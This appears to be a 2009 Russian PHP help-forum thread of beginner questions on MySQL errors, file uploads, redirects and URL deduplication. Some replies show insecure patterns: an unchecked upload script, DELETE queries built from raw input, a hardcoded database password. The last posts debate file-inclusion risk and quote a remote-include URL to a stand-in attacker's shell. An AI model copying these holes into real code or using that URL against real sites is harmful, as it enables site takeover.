Дык а substr - что?)

9822
15.04.2009, 23:47
Ошибку пишет, причем я помню давным давно такой баг у меня был как испраивл его не помню

ошибка:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in Z:\home\test1.ru\www\oberegisr 2\php\index.php on line 62



Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in Z:\home\test1.ru\www\oberegisr 2\php\index.php on line 72


вобщем вначале стр перед html стоит
<?php
$db = mysql_connect ("localhost","obereguser","12345");
mysql_select_db("oberegisr",$db);
?>


в середине стр стоит только этот код

<?php
$result=mysql_query("SELECT id,title,desc,date FROM news",$db);
$myrow=mysql_fetch_array($result);
do
{
printf("<div class='photo'><img src='images/photo.jpg' alt='' /></div>
<div class='news_text'>
<a href='%s'><b>%s</b></a><br />
<span>%s</span><br />
%s
<a href='#'><img src='images/arrow1.jpg' alt='' /></a>",$myrow["id"],$myrow["title"],$myrow["date"],$myrow["desc"]);
}
while ($myrow=mysql_fetch_array($result));
?>


не могу догнать где ошибка тут :(

erihtoney
16.04.2009, 00:28
29822

Имя столбца,а именно desс, рассматриваются как команда sql,это зарезервированное слово,используйте другое название.

Полный список зарезервированных слов можете посмотреть здесь (http://www.mysql.ru/docs/man/Reserved_words.html)

Dr.Frank
16.04.2009, 13:27
можно еще desc взять в "тильды" - `desc` - тоже проканает.

777DEMYAN777
16.04.2009, 14:01
Поставил движок и чужую базу, всё настроил, захожу под логином админа, а мне выдаёт ошибку вида:

Warning: Invalid argument supplied for foreach() in /var/www/web27/web/main.php on line 3 Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at /var/www/web27/web/main.php:3) in /var/www/web27/web/main.php on line 41

Что же делать???

m0Hze
16.04.2009, 14:06
Вторая ошибка говори о том,что перед стартом сессии,ты чтото выводил на экран уже.Ставь старрт сессий в начало скрипта.
А первая,о том что в фореач попал ннехороший массив,скорее всего при запросе к БД чтото не так.
Пасс хоть верный от Бд,а таблицы есть?

777DEMYAN777
16.04.2009, 14:09
пасс верный, и таблицы есть! Там что то с сессиями

m0Hze
16.04.2009, 14:11
Там же две ошибки.
Я тебе говорю,session_start(); ставь в начало документа, и ничего до этого не выводи.

9822
16.04.2009, 15:47
erihtoney - спасибо помогло
но еще ошибка оказывается в том к прмиеру в табюлице 1 буквой ошибся я так изза этой буквы тоже работать не может =(

эх надо будет внимательней быть а не сидеть до поздна php начинать учить =)

noooob'ik
16.04.2009, 17:45
привет. рябята, дайте плз описание масива $_FILES...
пытаюсь на своём "сайте" сдетать закачку файлов... а незнание этого масива, сильно усложняет этот процесс))

Kaimi
16.04.2009, 17:48
http://ru.php.net/manual/en/reserved.variables.files.php
вниз пролистай

9822
16.04.2009, 18:16
<?php
$result2=mysql_query("SELECT news FROM uppdate",$db);
$myrow2=mysql_fetch_array($result2);
do
{
printf("<li>%s</li>",$myrow2["news"]);
}
while ($myrow2=mysql_fetch_array($result2));
?>


народ подскажите что нужно добавить в
$result2=mysql_query("SELECT news FROM uppdate",$db);

вроде чета DESC и ORDER
но я чет не помню уже пересидел слегка все забыл =)

суть что мне макс надо вывести 3 записи из bd и самые новые типо от id3 и вниз.

inlanger
16.04.2009, 18:28
$result2=mysql_query("SELECT id, news FROM uppdate ORDER by id",$db);

9822
16.04.2009, 18:41
inlanger спасиб вспомнил

$result=mysql_query("SELECT id,title,secription,data FROM news ORDER BY data DESC, id DESC LIMIT 3",$db);

если что LIMIT 3 отвечает за то сколкьо записей вытащить ;)

m0Hze
16.04.2009, 20:03
Собственно вот что интересует.
Как сделать такую вот постраничную навиацию:
Есть $_GET['st'] = 18;
Мы выводим 16,17,18,19,20
Ну и по анологии.
А если st = 1, то там другое условие,и прочее.
Просто у меня получаеться слишком большой код,а я думаю ктото так и тк этим занимался)

m0Hze
16.04.2009, 20:27
Если кому интересно,то вот ответ на предидущий пост.ОЧень хорошо работает,и доделывать там копейки:
http://forum.oszone.net/post-943216.html

9822
16.04.2009, 21:05
вопрос про загрузку картинки на сервер

сделал форму

<form action='img_add.php' method='POST' name='form1'>
<label for="image">Изображение:</label><br>
<input type="hidden" name="MAX_FILE_SIZE" value="1000000" />
<input type="file" size=40 name="image" id="image"><br>
<input type='submit' name='submit' id='submit' value='Загрузим картиночку :-)'><br>
</form>


img_add.php

<?php
$filename = "ima2/".rand(0,99999).$_FILES['image']['name'];
move_uploaded_file($_FILES['image']['tmp_name'], $filename);
?>

по идеи в папку ima2 должна загрузится картинка не?

Gadik
16.04.2009, 21:09
Добрый вечер. Подскажите пожалуйста какой командой иил связкой команд можно на php сделать страницу, которой задается id, и в соответствии с этим id, поисходит переход по соответствующему линку.... ? буду благодарен любым подсказкам

9822
16.04.2009, 21:30
типо

{
printf("<a href='view_link.php?id=%s'>%s</a>",$myrow["id"],$myrow["title"]);
}
while()

ты про это Gadik?

Gadik
16.04.2009, 21:33
не совсем, к примеру вызывает юзер страницу с параметром script.php?id=50 и эта страница выбирает из массива линк, который соотвествует id = 50 и пересылает юзера на этот линк, т.е. чтобы происходил переход на линк, а не выводился на экран..

SQLHACK
16.04.2009, 21:33
2 Gadik
<?php
if (isset($_GET['id']) && is_numeric($_GET['id'])){
switch($_GET['id']){
case 1:
redirect("тут твой линк 1");
break;
case 2:
redirect("тут твой линк 2");
break;
default:
redirect("тут твой линк, тот который выдаётся если ид ты не определил");
break;
}
}else{
redirect("а тут твой линк, который выдаётся если в ид запихали хрень какую то");
}

function redirect($url){
header('Location: '.$url);
exit();
}
?>

SQLHACK
16.04.2009, 21:39
вариант номер 2 для Gadik


<?php
$linkarray = array(
0 => "http://www.yandex.com/1.php",
1 => "http://www.yandex.com/2.php"
);

if (isset($_GET['id']) && is_numeric($_GET['id'])){
if(isset($linkarray[$_GET['id']])){
redirect($linkarray[$id]);
}else{
//не определено у тя такого
}
}else{
redirect("а тут твой линк, который выдаётся если в ид запихали хрень какую то");
}

function redirect($url){
header('Location: '.$url);
exit();
}
?>

Немного поменял скрипт , вот держи

Gadik
16.04.2009, 21:40
а, пасибо, второй вариант мне более понятен, смогу доделать)) спс большое за помощь) буду пробовать



... не происходит переход по линкам.... скрипт не менял так и залил, должен же работать в таком виде? ..


а именно срабатывает условие там где

//не определено у тя такого

вообщем false выдает, не могу понять почему...

разобрался, исправил pos !== false на pos !== "" и вроде работает

shellz[21h]
17.04.2009, 05:19
Доброе время суток!
Имеются записи в формате:

site.com/?id=1&page=end
site.com/?id=2&page=end
site.com/?pp=1&page=main&sort=1
site.com/?pp=2&page=main&sort=1
etc...

Подскажите пожалуйста, как убрать повторые записи, нужно чтоб вывдило, вот так:
site.com/?id=1&page=end
site.com/?pp=1&page=main&sort=1
тоесть, чтоб переменные не повторялись. Заранее спасибо.

159932
17.04.2009, 05:42
проще всего загнать в массив и заюзать ф-ию array_unique()
напр. если это файл print_r(array_unique(file('a.txt')));
ну или если уже стринг print_r(array_unique(explode("\n",$string)));

Dr.Frank
17.04.2009, 05:50
проще всего загнать в массив и заюзать ф-ию array_unique()
напр. если это файл print_r(array_unique(file('a.txt')));
ну или если уже стринг print_r(array_unique(explode("\n",$string)));
array_unique не справится с этой задачей, т.к. в приведенном примере не полностью одинаковые строки:
site.com/?id=1&page=end
site.com/?id=2&page=end
site.com/?pp=1&page=main&sort=1
site.com/?pp=2&page=main&sort=1

shellz[21h]
17.04.2009, 06:05
array_unique() , в этому случае не подходит.
Dr.Frank, правильно понил вопрос)

Pashkela
17.04.2009, 11:53
Тогда лучше пример такого файла ТОЧНЫЙ (или сказать, что точно так, как в вопросе, только хост заменен) + идут ли такие вот записи подряд или нет (одна под другой, или может быть случайное расположение)


<pre>
<?php
$str1 = "site.com/?id=1&page=end";
$str2 = "site.com/?id=2&page=end";
$var1 = similar_text($str1, $str2, &$tmp);
echo "Совпадение в процентах: $tmp\n"; // примерно 95%,
//значит практически идентичны, для нас по условиям., идентичны

//Если отличие больше - значит у нас новая ссылка:
$str1 = "site.com/?id=1&page=end";
$str2 = "site.com/?pp=1&page=main&sort=1";
$var1 = similar_text($str1, $str2, &$tmp);
echo "Совпадение в процентах: $tmp\n"; // примерно 70%
//разница большая, новая уникальная ссылка (по условиям)
?>
</pre>


но в данном случае лучше всего подойдет функция Левенштейна, которая просто показывает, сколько символов надо заменить, чтобы из первой строки получить вторую, т.е. если возвращает 1 - строки АБСОЛЮТНО ИДЕНТИЧНЫ по условию задачи:


<?php
$str1 = "site.com/?id=1&page=end";
$str2 = "site.com/?id=2&page=end";
$var = levenshtein($str1,$str2);
echo($var); // вернет 1
?>
</pre>


если строки идут не подряд такого рода, а в разброс - то файл в массив и предварительная сортировка, потом обычное построчное чтение с помощью fgets() и сравнению по Левенштейну

т.е. по задаче конкретно примерно так выглядеть будет по идее:


<pre>
<pre>
<?php

$file = 'tema1.txt'; // Файл с ссылками
$res = 'tema10.txt'; // Результирующий файл

// функция для сравнения по Левенштейну
function lev($str1,$str2) {
$a = levenshtein($str1,$str2);
if ($a!=1) return true;
return false;
}

// Соритруем файл с сылками
$sort = file($file);
sort($sort);
file_put_contents($file,$sort);
// Начинаем отбирать "уникальные" ссылки
$hand1 = fopen($res,'w');
$hand = fopen($file,'r');
while(!feof($hand)) {
$buf1 = trim(fgets($hand));
$buf2 = trim(fgets($hand));
if (lev($buf1,$buf2)) fwrite($hand1,$buf1. "\n" .$buf2 ."\r\n");
else fwrite($hand1,$buf1 . "\r\n");
}
fclose($hand);
fclose($hand1);
echo 'Done';
?>
</pre>


Погонял щаз, на самом деле и этот вариант неправильный, т.к. будет работать только для ДВУХ подряд идущих ссылок:))) А если их таких три и больше - не сработает. Поэтому вот ПРАВИЛЬНЫЙ вариант на любое кол-во таких ссылок:


<pre>
<?php

$file = 'tema1.txt'; // Файл с ссылками
$res = 'tema10.txt'; // Результирующий файл

// функция для сравнения по Левенштейну
function lev($str1,$str2) {
$a = levenshtein($str1,$str2);
if ($a==1 or $a==0) return false;
return true;
}

// А теперь сравниваем каждую строку
//со всеми при помощи функции выше
function Ustr ($hand, $str)
{
fseek($hand,0);
while (!feof ($hand)) {
$temp = trim(fgets($hand));
if (!lev($str,$temp))
return false;
}
return true;
}

// Сортируем файл с сылками
$sort = file($file);
sort($sort);
file_put_contents($file,$sort);
// Начинаем отбирать "уникальные" ссылки
$hand1 = fopen($res,'w+');
$hand = fopen($file,'r');
while(!feof($hand)) {
$buf = trim(fgets($hand));
if (Ustr($hand1,$buf)) {
fseek ($hand1, 0, SEEK_END);
fwrite($hand1,$buf ."\r\n");
}
}
fclose($hand);
fclose($hand1);
echo 'Done';
?>
</pre>

Gifts
17.04.2009, 13:19
Pashkela Вы как бы заблуждаетесь, если строки идентичны - левенштейн вернет 0. А для id=2 и id=13 левенштейн вернет 2. И ваш скрипт вообще возвращает неожиданные результаты))

Вход:
site.com/?id=1&page=end
site.com/?id=5&page=end
site.com/?id=4&page=end
site.com/?id=3&page=end
site.com/?id=2&page=end
site.com/?id=6&page=end

Выход:
site.com/?id=1&page=end
site.com/?id=3&page=end
site.com/?id=5&page=end

Pashkela
17.04.2009, 13:30
исправил выше в посте, когда

id=2 и id=11111

пока хз, можно ручками задать в условиях в первой функции, универсально как - хз пока, или от процентов прыгать (similar_text())

Хм, не такая уж и тривиальная задачка:)

Gifts
17.04.2009, 13:37
Если нужно сравнивать только окончания ссылок

Входной файл:
site.com/?id=1&page=end
site.com/?id=2&page=end
site.com/?pp=1&page=main&sort=1
site.com/?pp=2&page=main&sort=1
site.com/?dd=1&page=old
site.com/?dd=2&page=old
site.com/?dd=3&page=old
site.com/?dd=4&page=old

<?php
$file = 'tema1.txt';

$f = file_get_contents($file)."\r\n";
preg_match_all('~^[^\?]*\?[^=]+=([^&]+)(&.+)~mi',$f,$match);
$arr=array_values(array_combine($match[2],$match[0]));
print_r($arr);
echo 'Done';
?>

С учетом ниженаписанного SQLHACK регулярка будет такая (имхо проще и быстрее будет):<?php
$file = 'tema1.txt';

$f = file_get_contents($file)."\r\n";
preg_match_all('~^.*/([^=]+)=[^&]+&.+~mi',$f,$match);
$arr=array_values(array_combine($match[1],$match[0]));
print_r($arr);
echo 'Done';
?>

Pashkela
17.04.2009, 13:43
Ну или вот с процентным совпадением, процент задаете сами в первой функции:


<pre>
<?php

$file = 'tema1.txt'; // Файл с ссылками
$res = 'tema10.txt'; // Результирующий файл


// функция для процентного сравнения текста
function lev($str1,$str2) {
$a = similar_text($str1, $str2, &$tmp);
if (round($tmp,0)>=86) return false; // тут 86 -
// - процент совпадения строк, можно менять
return true;
}


// А теперь сравниваем каждую строку со всеми при помощи функции выше
function Ustr ($hand, $str)
{
fseek($hand,0);
while (!feof ($hand)) {
$temp = trim(fgets($hand));
if (!lev($str,$temp))
return false;
}
return true;
}

// Соритруем файл с сылками
$sort = file($file);
sort($sort);
file_put_contents($file,$sort);
// Начинаем отбирать "уникальные" ссылки
$hand1 = fopen($res,'w+');
$hand = fopen($file,'r');
while(!feof($hand)) {
$buf = trim(fgets($hand));
if (Ustr($hand1,$buf)) {
fseek ($hand1, 0, SEEK_END);
fwrite($hand1,$buf ."\r\n");
}
}
fclose($hand);
fclose($hand1);
echo 'Done';
?>
</pre>

SQLHACK
17.04.2009, 15:57
два с половиной часа себе мозг трахал , короче если я правильно понял, то надо было сделать так: ссылки где одинаковые параметры, но просто разные значения этим параметров, их надо было выкинуть, полезно это может быть только в парсере поисковиков, где они могут выдавать пути к одним и темже скриптам, но с разными параметрами, так вот этот скрипт делает именно это.

Ссылки пихаем в c:/2.txt ну или указываем другой файл.

то есть из такого
http://site.com/index.php?id=1&page=end
site.com/?id=2&page=end
http://site.com/?pp=1&page=main&sort=1
http://site.com/?pp=2&page=main&sort=1
http://site.com/?pp=3&page=notmain&sort=1

делает такое
http://site.com/index.php?id=1&page=end
http://site.com/?id=2&page=end
http://site.com/?pp=1&page=main&sort=1

<?php

$urlarr = file("c:/2.txt");

$site = array();
//создаем массив с сылками и параметрами
foreach($urlarr as $url){
$url = trim($url);
if($url != ""){
if(substr($url,0,7) != "http://" && substr($url,0,8) != "https://"){
$url = "http://".$url;
}
$x = parse_url($url);
$newurl = $x['scheme']."://".$x['host'].$x['path'];
$params = explode("&", $x['query']);
$pp = array();
foreach($params as $param){
$p = strpos($param, "=");
if($p>0){
$paramname = strtolower(substr($param, 0, $p));
$paramval = strtolower(substr($param, $p + 1, strlen($param) - $p - 1));
if (strlen($paramval) == 0){
$paramval = chr(0);
}
}
$pp[$paramname] = $paramval;
}
$site[$newurl][] = $pp;
}
}
//$siteclone = $site;

$siteclone = array_map("deepvalkill", $site);
function deepvalkill($value){
$value = is_array($value) ? array_map('deepvalkill', $value) : $value = "";
return $value;
}
//чистим одинаковые
foreach($siteclone as $key=>$st){
for($z=0;$z<=count($st);$z++){
for($y=$z+1;$y<=count($st);$y++){
if($st[$z] == $st[$y]){
unset($site[$key][$y]);
}
}
}
}

foreach($site as $key=>$st){
foreach($st as $kk=>$vv){
$par = "";
foreach($vv as $kk2=>$vv2){

$par .= $kk2."=".$vv2."&";
}
//echo $par;
$url = $key."?".substr($par,0,strlen($par)-1);
//выводим ссылки
echo $url."\r\n";;
}
}


?>

Byrger
17.04.2009, 16:30
Как через <input type="file" name="file"> приняв фаил
С помощью PHP залить его в нужную папку?

Pashkela
17.04.2009, 16:34
гугл сломался?

http://www.softtime.ru/scripts/upload.php

heretic1990
17.04.2009, 16:39
можно пример скрипта для залогинивания на сайте?
чтоб скрипт висел на сайте как бот.

Byrger
17.04.2009, 17:59
гугл сломался?

http://www.softtime.ru/scripts/upload.php

if($_FILES["90.jpg"]["size"] > 1024*3*1024)
{
echo ("Размер файла превышает три мегабайта");
exit;
}
if(copy($_FILES["90.jpg"]["tmp_name"],
"c:/temp/".$_FILES["90.jpg"]["name"]))
{
echo("Файл успешно загружен <br>");
echo("Характеристики файла: <br>");
echo("Имя файла: ");
echo($_FILES["90.jpg"]["name"]);
echo("<br>Размер файла: ");
echo($_FILES["90.jpg"]["size"]);
echo("<br>Каталог для загрузки: ");
echo($_FILES["90.jpg"]["tmp_name"]);
echo("<br>Тип файла: ");
echo($_FILES["90.jpg"]["type"]);
} else {
echo("Ошибка загрузки файла");
}
Ошибка загрузки файла
Пробовал писать полный путь

Gifts
17.04.2009, 18:06
Byrger http://ru2.php.net/manual/en/features.file-upload.post-method.php
http://ru2.php.net/manual/en/function.move-uploaded-file.php

shellz[21h]
17.04.2009, 18:42
http://site.com/?pp=1&page=main&sort=1
http://site.com/?pp=2&page=main&sort=1
http://site.com/?pp=3&page=notmain&sort=1
Cпасибо всем за помощь, еще раз. Выручили))

diznt
17.04.2009, 19:19
Как проверить что файл пустой? (file.txt)

Pashkela
17.04.2009, 19:24
if (filesize('file.txt')!=0) echo 'Не пустой! Не удалять! Ааааааа!';
else echo 'Вот ты любитель пустые файлы на диске держать';

diznt
17.04.2009, 19:35
В чем моя проблема?

<?php
if (filesize("proxy.txt") == 0){
echo "Файл пуст.Выводить нечего!";
}
else
{
$my = fopen("proxy.txt", "w+");
while (!feof($my)){
$buff = fgets($my,4096);
echo $buff;
}
}
?>

Заполняю файл прокси.тхт
Дальше захожу на страницу.Так он у меня удаляет все что в файле прокси.тхт

art2222
17.04.2009, 19:41
'w+' Открывает файл для чтения и записи; помещает указатель в начало файла и обрезает файл до нулевой длинны. Если файл не существует - пробует его создать.

А тебе нужно 'r' т.е.


<?php
if (filesize("proxy.txt") == 0)
{
echo "Файл пуст.Выводить нечего!";
}
else
{
$my = fopen("proxy.txt", "r");
while (!feof($my))
{
$buff = fgets($my,4096);
echo $buff;
}
}
?>

Zedi
17.04.2009, 19:41
В функции fopen w+ поменяй на r

9822
17.04.2009, 20:32
Народ вопрос что можно доабвить чтоб не менять остальной код



<?php
$db = mysql_connect ("localhost","obereguser","12345");
mysql_select_db("oberegisr",$db);
?>
<html>
<head>
<TITLE></TITLE>
<META NAME="KEYWORDS" CONTENT="">
<META NAME="DESCRIPTION" CONTENT="">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<link href="style.css" rel="stylesheet" type="text/css">
</head>
<body bgcolor="#333333" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<center>

<br><br>
<?php
$result=mysql_query("SELECT id,title,text FROM news ORDER BY id DESC",$db);
$myrow=mysql_fetch_array($result);
do
{
if (strlen($myrow['text']) > 255)
{
$moreThan255 = true;
$myrow['text'] = substr($myrow['text'],0,255);
}
$myrow['text'] = wordwrap($myrow['text'], 50, "\n", true);
printf("<a href='view_news.php?id=%s'>%s</a><br><br><br>
%s<br>
if ($moreThan255)
{
echo "<br><a style='color:#990000;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:12px;font-style:normal;font-weight:normal;text-decoration:none;' href=news.php?id=$myrow[id]>Читать дальше...</a>";
}
",$myrow["id"],$myrow["title"],$myrow["text"]);

}
while ($myrow=mysql_fetch_array($result));
?>
</center>
</body>
</html>



выше код не рабочий,


сначала я написал вот так
этот код работает


<?php
$db = mysql_connect ("localhost","obereguser","12345");
mysql_select_db("oberegisr",$db);
?>
<html>
<head>
<TITLE></TITLE>
<META NAME="KEYWORDS" CONTENT="">
<META NAME="DESCRIPTION" CONTENT="">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<link href="style.css" rel="stylesheet" type="text/css">
</head>
<body bgcolor="#333333" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<center>

<br><br>
<?php
$result=mysql_query("SELECT id,title,text FROM news ORDER BY id DESC",$db);
$myrow=mysql_fetch_array($result);
do
{
if (strlen($myrow['text']) > 255)
{
$moreThan255 = true;
$myrow['text'] = substr($myrow['text'],0,255);
}
$myrow['text'] = wordwrap($myrow['text'], 50, "\n", true);
printf("<a href='view_news.php?id=%s'>%s</a><br><br><br>
%s<br>",$myrow["id"],$myrow["title"],$myrow["text"]);
if ($moreThan255)
{
echo "<br><a style='color:#990000;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:12px;font-style:normal;font-weight:normal;text-decoration:none;' href=news.php?id=$myrow[id]>Читать дальше...</a>";
}

}
while ($myrow=mysql_fetch_array($result));
?>
</center>
</body>
</html>


но мне надо чтоб

if ($moreThan255)
{
echo "<br><a style='color:#990000;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:12px;font-style:normal;font-weight:normal;text-decoration:none;' href=news.php?id=$myrow[id]>Читать дальше...</a>";
}

шел после

$myrow['text'] = wordwrap($myrow['text'], 50, "\n", true);
printf("<a href='view_news.php?id=%s'>%s</a><br><br><br>
%s<br>

,я чет голову ломаю как написать

Nightmarе
18.04.2009, 05:07
Подскажите плиз как сделать проверку существует ли файл в конкретной директории.
Вот:
$dir = "/home/hosting/folder/";
$file = "index.php";
Нужно в директории $dir проверить лежит ли там файл с названием $file

159932
18.04.2009, 05:22
file_exists()

#Wolf#
18.04.2009, 12:18
маленький нубский вопрос который я давно хотел спросить.
что такое "->" в php?

fanboy
18.04.2009, 12:21
<?

if(isset($_POST['name']) && isset($_POST['text'])) {
if(!empty($_POST['name']) && !empty($_POST['text'])) {
$text = str_replace("\n", "<br />", $text);
$name=strip_tags(stripslashes(substr($_POST['name'],0,15)));
$text=strip_tags(stripslashes(substr($_POST['text'],0,60)));
$str="Имя:".$name."<br>"."Сказал:".$text."\r\n";
$fp=fopen("basa.txt","a+");
fputs($fp,"$str\r\n");
fclose($fp);
header ("Location: ?");
}else{
echo 'вы не ввели данные';
}
}

$file_array = file("basa.txt");
$c = count($file_array);
for($i = $c-20; $i < $c; $i++) {

echo "$file_array[$i]";


}

?>
<form method=POST action="index.php"><br>
Имя:<br>
<input name="name" value=""><br>
Сообщнние<br>
<textarea name="text" rows="6" cols="15"></textarea>
<br>
<input value="пуск" type="submit"></form>


подскажите как мне форматировать текст,чтобы он переносился с опр стороки

m0Hze
18.04.2009, 12:21
А не вызов ли объекта из класса?(хотя сам в классах мало что понимаю,самому интерено.)
-----
В догонку: Что означает: %? Часто вижу пишут в коде,но нипонимаю зачем..

inlanger
18.04.2009, 12:29
Смотря где стоит %. Если в регулярках, то так просто отделяют её начало и конец.
-> не только выхов объекта класса

m0Hze
18.04.2009, 12:35
Смотря где стоит %. Если в регулярках, то так просто отделяют её начало и конец.
-> не только выхов объекта класса
Ну я уж несовсем дурак,и могу отличить регулярку)
Мне интересно именно в непосредственном коде)
Точесть чтото проде: $in % $out; Чтото вроде

.:EnoT:.
18.04.2009, 12:35
маленький нубский вопрос который я давно хотел спросить.
что такое "->" в php?

Почему обязательно класса?
mysql_fetch_object() к примеру возвращает результат запроса как объект.

m0Hze
% это деление по модулю. В условиях используют например для проверки кратности, чётности/нечётности

m0Hze
18.04.2009, 12:42
Эм,тоесть 12%3?

.:EnoT:.
18.04.2009, 12:49
Эм,тоесть 12%3?
ну да. вернёт 0

fanboy
18.04.2009, 17:34
спаисбо

Gin
18.04.2009, 21:42
маленький нубский вопрос который я давно хотел спросить.
что такое "->" в php?

Это обращение к к классу, если я не ошибаюсь. Примерно так mail->send();
Где mail класс а send() функция класса. Поправьте если не прав.

DTW
19.04.2009, 17:50
+----+---------------+------+-----+--------+-----+---------------------+
| id | name | hide | pos | id_cat | sub | text |
+----+---------------+------+-----+--------+-----+---------------------+
| 3 | Auto | 0 | 0 | 0 | 0 | About job find work |
| 4 | Work | 0 | 0 | 1 | 0 | About car and model |
| 5 | BNW | 0 | 0 | 0 | 1 | |
| 6 | Mercedes Benz | 0 | 0 | 0 | 2 | |
| 7 | Find job | 0 | 0 | 1 | 1 | |
| 8 | Get job | 0 | 0 | 1 | 0 | |
+----+---------------+------+-----+--------+-----+---------------------+





function seltreecat($level=0)
{
connection();

$query="SELECT id,id_cat,sub, name FROM category where id_cat=$level order by sub";
$rezult = mysql_query($query);
$counter =0 ;
if(!$rezult) echo mysql_error().exit();

while(($cat = mysql_fetch_array($rezult)) !==false)
{
for($i =0 ; $i <$counter ; $i++) $nbs = "&nbsp;&nbsp;";
$counter++;

if($cat['sub'] == 0 ) {



echo "<option>{$nbs}(".$cat['sub'].")". $cat['name']."</option>";


}

if($cat['sub'] > 0 ) {


echo "<option>{$nbs}(".$cat['sub'].")". $cat['name']."</option>";

}






}

if(mysql_num_rows($rezult) > 0)
seltreecat($level+1) ;

}


<select>
<?= seltreecat(); ?>
</select>

не знаю правильно ли я сделал, что суб категории доставать .

Вопрос как сделать что вложение было так

Auto->Mercedes->E660

надо ли создать еще одно поле таблице :confused:

и как лучше отделить код хтмл...

Zitt
20.04.2009, 19:31
$c = count($files);
for ($id = 0; $id < $c; $id ++) {
include "./include/$files[$id]";

echo "Имя - {$name1}<br>";
echo "<input type=\"text\" maxlength=\"1500\" value=\"{$r}\"> " ;
echo "<textarea rows=\"7\" cols=\"30\" value=\"{$text}\"</textarea> <br>";
echo "<font color=\"red\">---------------------------------</font>";



}





все переменные есть в файлах.. но выводит както ваще не так как надо)

что такое?

159932
20.04.2009, 19:44
уверен что инклудиться ? зачем использовать двойные кавычки и везде писать \" вместо конкации с нужной переменной ?

лучше дай больший кусок кода, ну или что выводиться у тебя и что должно.

art2222
20.04.2009, 20:41
Может попробуешь не так:
include "./include/$files[$id]";
а так?
include './include/'.$files[$id];

Zitt
20.04.2009, 21:31
уверен что инклудиться ? зачем использовать двойные кавычки и везде писать \" вместо конкации с нужной переменной ?

лучше дай больший кусок кода, ну или что выводиться у тебя и что должно.
проьбовал точно также....
это и есть кусок кода.. до этого просто вывожу список файлов в папке.. все ok..
print_r($files); -- ok
Может попробуешь не так:
PHP код:


а так?
тоже самое....

Pashkela
20.04.2009, 22:08
include "./include/$files[$id]"; - так неправильно, массив если в двойных кавычках, то только в {}, или как у art2222

плюс чо это за инклуд такой в цикле?О_о

diznt
21.04.2009, 16:38
есть textarea (html)
В нем текст такого вида

:Alex:
-Nikolay-
+Rikko+

и т.д. (не знаю скоко таких записей)
нужно чтобы все эти слова (до единого) выполнили запрос к mysql

........ WHERE name='строка'

думаю поняли
для начало просто запрос чтобы выполнял (ниче не выводил)

Krist_ALL
21.04.2009, 16:43
передаешь значение текстари формой скрипту, потом



$a = explode('\n', $_POST['textarea']);
$query = 'select ..... where ';
foreach($a =>$zn) {
$a .= "name='$zn' or";
}


как то так.

art2222
21.04.2009, 16:54
ну или например так:

<?php
$arr = explode("\n", $_POST['textarea']);
foreach ($arr as $text)
mysql_query("DELETE FROM users WHERE name = '$text'");
?>


От sql-inj сам насочиняй что-нибудь)

2Krist_ALL
\n в двойных кавычках надо указывать.

-m0rgan-
21.04.2009, 17:33
Для защиты от скули можно юзать ф-ю mysql_escape_string()
Пример:

<?php
$arr = explode("\n", $_POST['textarea']);
foreach ($arr as $text)
mysql_query("DELETE * FROM users where name='".mysql_escape_string($text)."'";$result = mysql_query($query);
?>


Вроде так, писал на быструю руку...

awdrg
23.04.2009, 18:00
Скажите пожалуйста, где можно найти список всех браузеров с точными версиями, мне это надо для сокетов.
Например 'user_agent' => 'Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9) Gecko/2008061015 Firefox/3.0

oRb
23.04.2009, 18:02
Скажите пожалуйста, где можно найти список всех браузеров с точными версиями, мне это надо для сокетов.
Например 'user_agent' => 'Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9) Gecko/2008061015 Firefox/3.0
Не все, но много: http://ru.wikipedia.org/wiki/User_agent

nilux
23.04.2009, 18:44
допустим на сайте есть такой код:
include("page".$GET['id'].".php");
Причём id ничём не фильтруется. Может ли это привести к плачевным последствиям?

DDoSька
23.04.2009, 19:00
допустим на сайте есть такой код:
include("page".$GET['id'].".php");
Причём id ничём не фильтруется. Может ли это привести к плачевным последствиям?
Нет, это безопасно
Главное , что у тебя не было важных файлов, которые начинались с page*.php.
Можно будет приинклудить любой файл начинающийся с "page"
А если у тебя будет папка "page" ,ТО это тоже даст свои плоды :
$GET['id']=/admin
include("page".$GET['id'].".php")
В итоге получится приинклудится "page/admin.php"

Pashkela
23.04.2009, 19:10
Это вообще небезопасно, если честно. Фильтровать обязательно. Хотя бы от XSS (вообще-то)

DDoSька
23.04.2009, 19:12
Это вообще небезопасно, если честно. Фильтровать обязательно. Хотя бы от XSS (вообще-то)
Фильтровать-то обязательно надо - понятно, а каким образом там появятся XSS ?

m0Hze
23.04.2009, 19:13
Это вообще небезопасно, если честно. Фильтровать обязательно. Хотя бы от XSS (вообще-то)
Если несложно,покажи пример как провести ксс с этим куском кода.(в позновательных целях)

DDoSька
23.04.2009, 19:14
Если несложно,покажи пример как провести ксс с этим куском кода.(в позновательных целях)
+1, тоже стало интересно.

diznt
23.04.2009, 19:15
Подскажите функцию которая определяет есть ли кусочек слова (к примеру в $_GET['my_get'])(не путайте с проверкой целой части слов)
Если есть кусочек слова то выводил что нибуть

зы Pashkela тоже интересно насчет XSS :D

m0Hze
23.04.2009, 19:17
strpos,stripos,preg_match,array_search,in_array

Pashkela
23.04.2009, 19:20
+1, тоже стало интересно.

Ну вот тут почитайте, например:

http://www.virtuax.be/fztr/index.php?title=XSS_Intraframe_Logger

и тут кое-что:

http://securityvulns.ru/Tdocument29.html

а также LFI (PHP-inj):

http://n0ns3ns3.livejournal.com/219202.html (ctrl+f "include")

DDoSька
23.04.2009, 19:27
Ну вот тут почитайте, например:

http://www.virtuax.be/fztr/index.php?title=XSS_Intraframe_Logger

и тут кое-что:

http://securityvulns.ru/Tdocument29.html
Мы хотели пример на данном куске кода выше, который показа nilux
/index.php?page=http://hacker.com/shell.php).
В скрипте nilux`не проинклудилось бы

Pashkela
23.04.2009, 19:35
2 DDoSька:

это врядли можно продемонстрировать полноценно, когда выложено только:


include("page".$GET['id'].".php");


Чтобы понять, что тут КОНКРЕТНЫЙ LFI, просто прочтите то, чему вы поверите:

http://forum.antichat.ru/thread23501.html

